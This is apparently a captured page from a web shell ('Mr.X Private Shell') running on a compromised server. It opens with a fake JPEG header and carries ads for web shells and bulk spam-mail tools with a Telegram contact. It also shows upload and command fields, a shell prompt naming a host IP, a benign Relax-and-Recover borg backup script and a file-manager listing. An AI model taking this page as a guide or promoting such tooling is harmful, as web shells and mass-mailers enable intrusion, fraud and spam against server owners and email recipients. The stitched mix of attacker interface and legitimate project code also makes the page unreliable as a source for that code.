����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.217.31: ~ $
# This file is part of Relax-and-Recover, licensed under the GNU General
# Public License. Refer to the included COPYING for full text of license.
#
# borg-functions.sh

function borg_set_vars {
    # Construct Borg arguments for archive pruning.
    # No need to check config values of $BORG_PRUNE* family
    # Borg will bail out with error if values are wrong.
    BORGBACKUP_OPT_PRUNE=()
    if [[ -n $BORGBACKUP_PRUNE_KEEP_WITHIN ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-within "$BORGBACKUP_PRUNE_KEEP_WITHIN" )
    elif [[ -n $BORGBACKUP_PRUNE_WITHIN ]]; then
        LogPrint "BORGBACKUP_PRUNE_WITHIN is deprecated, use BORGBACKUP_PRUNE_KEEP_WITHIN instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-within "$BORGBACKUP_PRUNE_WITHIN" )
    fi
    if [[ -n $BORGBACKUP_PRUNE_KEEP_LAST ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-last "$BORGBACKUP_PRUNE_KEEP_LAST" )
    elif [[ -n $BORGBACKUP_PRUNE_LAST ]]; then
        LogPrint "BORGBACKUP_PRUNE_LAST is deprecated, use BORGBACKUP_PRUNE_KEEP_LAST instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-last "$BORGBACKUP_PRUNE_LAST" )
    fi
    if [[ -n $BORGBACKUP_PRUNE_KEEP_MINUTELY ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-minutely "$BORGBACKUP_PRUNE_KEEP_MINUTELY" )
    elif [[ -n $BORGBACKUP_PRUNE_MINUTELY ]]; then
        LogPrint "BORGBACKUP_PRUNE_MINUTELY is deprecated, use BORGBACKUP_PRUNE_KEEP_MINUTELY instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-minutely "$BORGBACKUP_PRUNE_MINUTELY" )
    fi
    if [[ -n $BORGBACKUP_PRUNE_KEEP_HOURLY ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-hourly "$BORGBACKUP_PRUNE_KEEP_HOURLY" )
    elif [[ -n $BORGBACKUP_PRUNE_HOURLY ]]; then
        LogPrint "BORGBACKUP_PRUNE_HOURLY is deprecated, use BORGBACKUP_PRUNE_KEEP_HOURLY instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-hourly "$BORGBACKUP_PRUNE_HOURLY" )
    fi
    if [[ -n $BORGBACKUP_PRUNE_KEEP_DAILY ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-daily "$BORGBACKUP_PRUNE_KEEP_DAILY" )
    elif [[ -n $BORGBACKUP_PRUNE_DAILY ]]; then
        LogPrint "BORGBACKUP_PRUNE_DAILY is deprecated, use BORGBACKUP_PRUNE_KEEP_DAILY instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-daily "$BORGBACKUP_PRUNE_DAILY" )
    fi
    if [[ -n $BORGBACKUP_PRUNE_KEEP_WEEKLY ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-weekly "$BORGBACKUP_PRUNE_KEEP_WEEKLY" )
    elif [[ -n $BORGBACKUP_PRUNE_WEEKLY ]]; then
        LogPrint "BORGBACKUP_PRUNE_WEEKLY is deprecated, use BORGBACKUP_PRUNE_KEEP_WEEKLY instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-weekly "$BORGBACKUP_PRUNE_WEEKLY" )
    fi
    if [[ -n $BORGBACKUP_PRUNE_KEEP_MONTHLY ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-monthly "$BORGBACKUP_PRUNE_KEEP_MONTHLY" )
    elif [[ -n $BORGBACKUP_PRUNE_MONTHLY ]]; then
        LogPrint "BORGBACKUP_PRUNE_MONTHLY is deprecated, use BORGBACKUP_PRUNE_KEEP_MONTHLY instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-monthly "$BORGBACKUP_PRUNE_MONTHLY" )
    fi
    if [[ -n $BORGBACKUP_PRUNE_KEEP_YEARLY ]]; then
        BORGBACKUP_OPT_PRUNE+=( --keep-yearly "$BORGBACKUP_PRUNE_KEEP_YEARLY" )
    elif [[ -n $BORGBACKUP_PRUNE_YEARLY ]]; then
        LogPrint "BORGBACKUP_PRUNE_YEARLY is deprecated, use BORGBACKUP_PRUNE_KEEP_YEARLY instead!"
        BORGBACKUP_OPT_PRUNE+=( --keep-yearly "$BORGBACKUP_PRUNE_YEARLY" )
    fi

    # Prepare option for Borg compression.
    # Empty BORGBACKUP_COMPRESSION will default to "none" compression.
    BORGBACKUP_OPT_COMPRESSION=()
    if [[ -n $BORGBACKUP_COMPRESSION ]]; then
        BORGBACKUP_OPT_COMPRESSION=( --compression "$BORGBACKUP_COMPRESSION" )
    fi

    # Prepare option for Borg encryption.
    # Empty BORGBACKUP_ENC_TYPE will default to "repokey".
    BORGBACKUP_OPT_ENCRYPTION=()
    if [[ -n $BORGBACKUP_ENC_TYPE ]]; then
        # shellcheck disable=SC2034
        BORGBACKUP_OPT_ENCRYPTION=( --encryption "$BORGBACKUP_ENC_TYPE" )
    fi

    # Prepare option for Borg remote-path.
    # Empty BORGBACKUP_REMOTE_PATH will default to "borg".
    BORGBACKUP_OPT_REMOTE_PATH=()
    if [[ -n $BORGBACKUP_REMOTE_PATH ]]; then
        BORGBACKUP_OPT_REMOTE_PATH=( --remote-path "$BORGBACKUP_REMOTE_PATH" )
    fi

    # Prepare option for Borg umask.
    # Empty BORGBACKUP_UMASK will default to 0077.
    BORGBACKUP_OPT_UMASK=()
    if [[ -n $BORGBACKUP_UMASK ]]; then
        BORGBACKUP_OPT_UMASK=( --umask "$BORGBACKUP_UMASK" )
    fi

    # Set archive cache file
    BORGBACKUP_ARCHIVE_CACHE=$TMP_DIR/borg_archive

    # Set file to save borg stderr output
    BORGBACKUP_STDERR_FILE=$TMP_DIR/borg_stderr

    BORGBACKUP_RESTORE_ARCHIVES_SHOW_MAX=${BORGBACKUP_RESTORE_ARCHIVES_SHOW_MAX:-10}

    [[ $BORGBACKUP_RESTORE_ARCHIVES_SHOW_MAX -ge 0 ]] \
        || Error "BORGBACKUP_RESTORE_ARCHIVES_SHOW_MAX '$BORGBACKUP_RESTORE_ARCHIVES_SHOW_MAX' must be >= 0"
}

function borg_list
{
    # shellcheck disable=SC2154
    borg list "${BORGBACKUP_OPT_REMOTE_PATH[@]}" "${borg_dst_dev}${BORGBACKUP_REPO}" \
    2> "$BORGBACKUP_STDERR_FILE"
}

# Query Borg server for repository information
# and store it to BORGBACKUP_ARCHIVE_CACHE.
# This avoids repeatedly querying Borg repository, which could be slow.
function borg_archive_cache_create
{
    borg_list > "$BORGBACKUP_ARCHIVE_CACHE"
}

function borg_create
{
    LogPrint "Creating backup archive \
'${BORGBACKUP_ARCHIVE_PREFIX}_$BORGBACKUP_SUFFIX' \
in Borg repository $BORGBACKUP_REPO on ${BORGBACKUP_HOST:-USB}"

    # Has to be $verbose, not "$verbose", since it's used as option.
    # shellcheck disable=SC2086,SC2154
    borg create $verbose --one-file-system "${borg_additional_options[@]}" \
    "${BORGBACKUP_OPT_COMPRESSION[@]}" "${BORGBACKUP_OPT_REMOTE_PATH[@]}" \
    "${BORGBACKUP_OPT_UMASK[@]}" --exclude-from "$TMP_DIR/backup-exclude.txt" \
    "${borg_dst_dev}${BORGBACKUP_REPO}::${BORGBACKUP_ARCHIVE_PREFIX}_$BORGBACKUP_SUFFIX" \
    "${include_list[@]}"
}

function borg_prune
{
    LogPrint "Pruning old backup archives in Borg repository $BORGBACKUP_REPO \
on ${BORGBACKUP_HOST:-USB}"

    # Has to be $verbose, not "$verbose", since it's used as option.
    # shellcheck disable=SC2086
    borg prune $verbose "${borg_additional_options[@]}" "${BORGBACKUP_OPT_PRUNE[@]}" \
    "${BORGBACKUP_OPT_REMOTE_PATH[@]}" "${BORGBACKUP_OPT_UMASK[@]}" \
    --prefix "${BORGBACKUP_ARCHIVE_PREFIX}_" \
    "${borg_dst_dev}${BORGBACKUP_REPO}"
}

function borg_extract
{
    # Scope of LC_ALL is only within run of `borg extract'.
    # This avoids Borg problems with restoring UTF-8 encoded files names in archive
    # and should not interfere with remaining stages of rear recover.
    # This is still not the ideal solution, but best I can think of so far :-/.

    LogPrint "Recovering from backup archive $BORGBACKUP_REPO::$BORGBACKUP_ARCHIVE \
on ${BORGBACKUP_HOST:-USB}"

    # Has to be $verbose, not "$verbose", since it's used as option.
    # shellcheck disable=SC2086
    LC_ALL=en_US.UTF-8 \
    borg extract $verbose --sparse "${borg_additional_options[@]}" \
    "${BORGBACKUP_OPT_REMOTE_PATH[@]}" \
    "${borg_dst_dev}${BORGBACKUP_REPO}::$BORGBACKUP_ARCHIVE"
}

Filemanager

Name Type Size Permission Actions
validated Folder 0755
.shellcheckrc File 25 B 0644
_input-output-functions.sh File 87.9 KB 0644
array-functions.sh File 1.08 KB 0644
authtoken-functions.sh File 16.83 KB 0644
bareos-functions.sh File 10.3 KB 0644
bootloader-functions.sh File 42.15 KB 0644
borg-functions.sh File 6.9 KB 0644
checklayout-workflow.sh File 646 B 0644
columns-functions.sh File 2.95 KB 0644
config-functions.sh File 7.87 KB 0644
drlm-functions.sh File 2.6 KB 0644
dump-workflow.sh File 6.89 KB 0644
filesystems-functions.sh File 10.63 KB 0644
finalizeonly-workflow.sh File 1.22 KB 0644
format-workflow.sh File 3.79 KB 0644
framework-functions.sh File 8.55 KB 0644
global-functions.sh File 41.29 KB 0644
help-workflow.sh File 3.5 KB 0644
hp_raid-functions.sh File 871 B 0644
layout-functions.sh File 61.66 KB 0644
layoutonly-workflow.sh File 803 B 0644
linux-functions.sh File 12.85 KB 0644
mail-functions.sh File 1.39 KB 0644
mkbackup-workflow.sh File 585 B 0644
mkbackuponly-workflow.sh File 368 B 0644
mkboot-workflow.sh File 1.13 KB 0644
mkopalpba-workflow.sh File 890 B 0644
mkrescue-functions.sh File 5.72 KB 0644
mkrescue-workflow.sh File 461 B 0644
mountonly-workflow.sh File 1.7 KB 0644
network-functions.sh File 8.53 KB 0644
opal-functions.sh File 15.67 KB 0644
opaladmin-workflow.sh File 18.37 KB 0644
output-functions.sh File 3.17 KB 0644
progresssubsystem.nosh File 2.32 KB 0644
rear-shell.bashrc File 2.67 KB 0644
recover-workflow.sh File 1.57 KB 0644
restoreonly-workflow.sh File 832 B 0644
rsync-functions.sh File 4.56 KB 0644
savelayout-workflow.sh File 739 B 0644
serial-functions.sh File 3.98 KB 0644
sesam-functions.sh File 1.18 KB 0644
shell-workflow.sh File 648 B 0644
udev-workflow.sh File 3.27 KB 0644
uefi-functions.sh File 6.33 KB 0644
validate-workflow.sh File 4.88 KB 0644
write-protect-functions.sh File 7.75 KB 0644